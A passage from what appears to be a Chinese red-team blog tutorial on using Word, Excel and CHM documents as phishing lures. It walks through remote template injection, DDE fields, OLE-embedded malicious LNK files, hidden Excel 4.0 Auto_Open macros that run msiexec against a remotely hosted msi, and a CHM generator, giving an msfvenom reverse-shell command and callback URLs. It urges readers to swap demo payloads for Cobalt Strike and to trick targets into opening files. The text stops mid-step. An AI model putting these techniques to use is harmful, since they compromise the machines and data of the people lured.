干货 | 红队和漏洞挖掘中那些关于”文档“的妙
发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370
0x01 前言 为什么会有这篇文章,其实是一个非常有意思的事情。在安全领域,有非常多涉及Word、Execl、PDF、CHM、PPT等等文档的攻击手法,从Web领域到红队领域,使用各种文档来进行攻击的姿势层出不穷,本文希望起到一个抛砖引玉的功能,尽量把各种使用“文档“的攻击姿势讲全。那么废话不多说,让我们先从最经典的使用文档进行钓鱼的功能讲起。 0x02 使用Word文档进行钓鱼的若干种姿势 1.Word宏上线的变种姿势(缺陷Word宏) 众所周知,学习Word宏钓鱼的第一步就是使用Cobalt Strike生成一个恶意宏。当然现在这种方法绝对无效了。但只要把恶意宏最末尾的一块代码删掉,恶意Word仍然能够上线,并且能在一定程度上规避查杀(数个月前还是能过360的) 2.利用DOCX文档远程模板注入执行宏 首先,我们创造一个包含恶意代码的普通dotm宏文件,这个没有什么可说的。并且把这个恶意dotm上传到Web服务器上,假设其地址为http://www.abc.com/test.dotm。 接着创建一个正常的dotm文档,点击开始 在模板这里选择一个模板,这个根据钓鱼的需求而定,比如你可以选择求职信模板,然后发给目标的人事部门什么的 我们把这个包含模板的docx文件后缀名改成zip,解压,找到如下目录中的文件 编辑该文件,将这个地方的地址替换成刚刚我们的dotm文件的远程地址 将文件的后缀名重新改回DOCX,这样我们就得到了一个远程模板注入的恶意DOCX文件 3.Word DDE Microsoft Office Word 的一个执行任意代码的方法,可以在不启用宏的情况下执行任意程序。 这个功能的本意是为了更方便地在 word 里同步更新其它应用的内容,比如说在一个 word 文档里引用了另一个 excel 表格里的某项内容,通过连接域 (Field) 的方式可以实现在 excel 里更新内容后 word 中同步更新的效果,问题出在这个域的内容可以是一个公式 (或者说表达式),这个公式并不限制内容。 实用性相较于宏来说更为实用。DDE执行时用户点击两个按钮即可执行。 新建Word文档,CTRL+F9,在文档中出现"{}"之后将代码复制大括号之间,保存文件: 比方说我这里就填一个弹计算器的代码,不过实战中肯定是填Cobalt Strike无文件落地的攻击语句了。 对方打开后就会执行你写入的命令 4.Office OLE+LNK 不难看出这个姿势其实是一个组合姿势,既用到了LNK恶意文件的知识点,也用到了office OLE的知识点,首先新建一个快捷方式,本文还是以弹计算器的PS语句进行演示,实战中记得换成上线语句即可。 新建一个快捷方式 目标位置填写命令操作: %SystemRoot%system32WindowsPowerShellv1.0powershell.exe -command calc 起始位置填: %windir%system32WindowsPowerShellv1.0 在Word或Excel中插入对象,选择package,为了提高诱导性点击勾选显示为图标,更改图标为word或者excel等迷惑性更大的图标。 相关图标可在C:Program FilesWindows NTAccessories中找到,你也可以换成别的文本图标,Word的图标在C:Program FilesMicrosoft OfficerootOffice16 总之是WORD根目录。 这里还有一个“题注“的功能,为了让效果看起来更真实,记得把这个题注的名字也改改,本文这里就使用默认的Package了。 点击完确定之后会让你选择一个软件包,选择我们第一步做好的那个恶意LNK文件 搞完之后你的文档里就出现了这么个东西,别人双击就会触发恶意lnk,至于怎么让骗别人双击,那就看你的本事了! 5.Office Word 本身的一些漏洞 说真的,实战环境下很少有人会用Word进行钓鱼,其一是免杀不好做,其二是不稳定非常容易掉线。如果真的要用Word进行钓鱼,最好是利用Word本身的一些漏洞。比如说近期的CVE-2021-40444 Office Word远程代码执行漏洞。 当然这些漏洞其实可遇不可求,加之攻击者也无法确定目标机器上到底有没有打相关的补丁,所以风险还是大,实战也绝对不推荐大家使用这种方法去钓(如果说是那种刚出没几天还热乎的Office Word漏洞,倒是可以试着用一下)。 如果你要找这些漏洞学习,有个搜索技巧,直接搜office CVE就可以找到这些漏洞 0x03 使用Excel文档进行钓鱼的若干姿势 1.Excel文档远程加载msi文件钓鱼 Excel文档与Word文档一样,都是支持宏功能的,因此我们也可以用Excel文档进行钓鱼,不过,使用Excel文档进行钓鱼需要使用Metasploit生成一个恶意msi文件 首先我们需要用MSF生成一个恶意msi文件,在msf中我们使用如下命令生成。这种打命令的事非常简单,就不配图了 msfvenom -p windows/meterpreter/reverse_tcp lhost=MSF部署的IP地址 lport=监听端口 -f msi > 路径/test.msi 我们将刚刚生成好的test.msi放到远程服务器上(同前文对dotm的操作一样),记录其地址 完成上述操作之后我们新建一个Excel文档,选中一个单元格,右键-插入 选择插入宏表(注意,这两步只有用4.0的Excel才可以做到) 接着我们得到了一个看似空白的格子,没关系,我们在这里输入我们的恶意代码(注:msiexec是系统自带的一个工具,如果你想执行别的工具也可以打在上面,不过大概率被杀,HALT是Excel文档代码的退出代码,不加容易报错) 为了用户能够在打开Excel文档时自动执行我们的恶意代码,我们要选中这个EXEC代码所在的框框,然后把它的类型改成Auto_Open 接着我们右键恶意代码-隐藏,即可把我们的恶意代码隐藏起来(不然别人打开的时候会看到) 这里不得不提一嘴,在2016版本以及以上的Excel文档中,如果你想让Excel文档包含宏,那么它的后缀必须被命名为xlsm,但是在之前的版本中,即使是xlsx也是可以执行的。 2.Office Excel 自身的一些漏洞 与Word同理,也非常不推荐使用Excel进行钓鱼。如果有新出的漏洞可以一试,如果你想研究Excel的历史漏洞,github搜索“office CVE“ 或者 ”Excel CVE“即可找到这些漏洞。 0x04 CHM电子书钓鱼 借助github上的项目生成一个CHM格式钓鱼文件 项目地址是:https://github.com/Ridter/MyJSRat 它的用法非常简单,把它放在你的VPS上,执行如下命令: Python MyJSRat.py -i 服务器地址 -p 监听端口 运行之后会生成三个地址,分别是 http://host:port/connect //受害者的回连监听地址 http://host:port/wtf //恶意代码的存放地址 http://host:port/hook 接着我们新建一个HTML文件,其内容为:
- 上一篇:narak靶场实战详解
- 下一篇:干货 | 红队和漏洞挖掘中那些关于文档的妙用(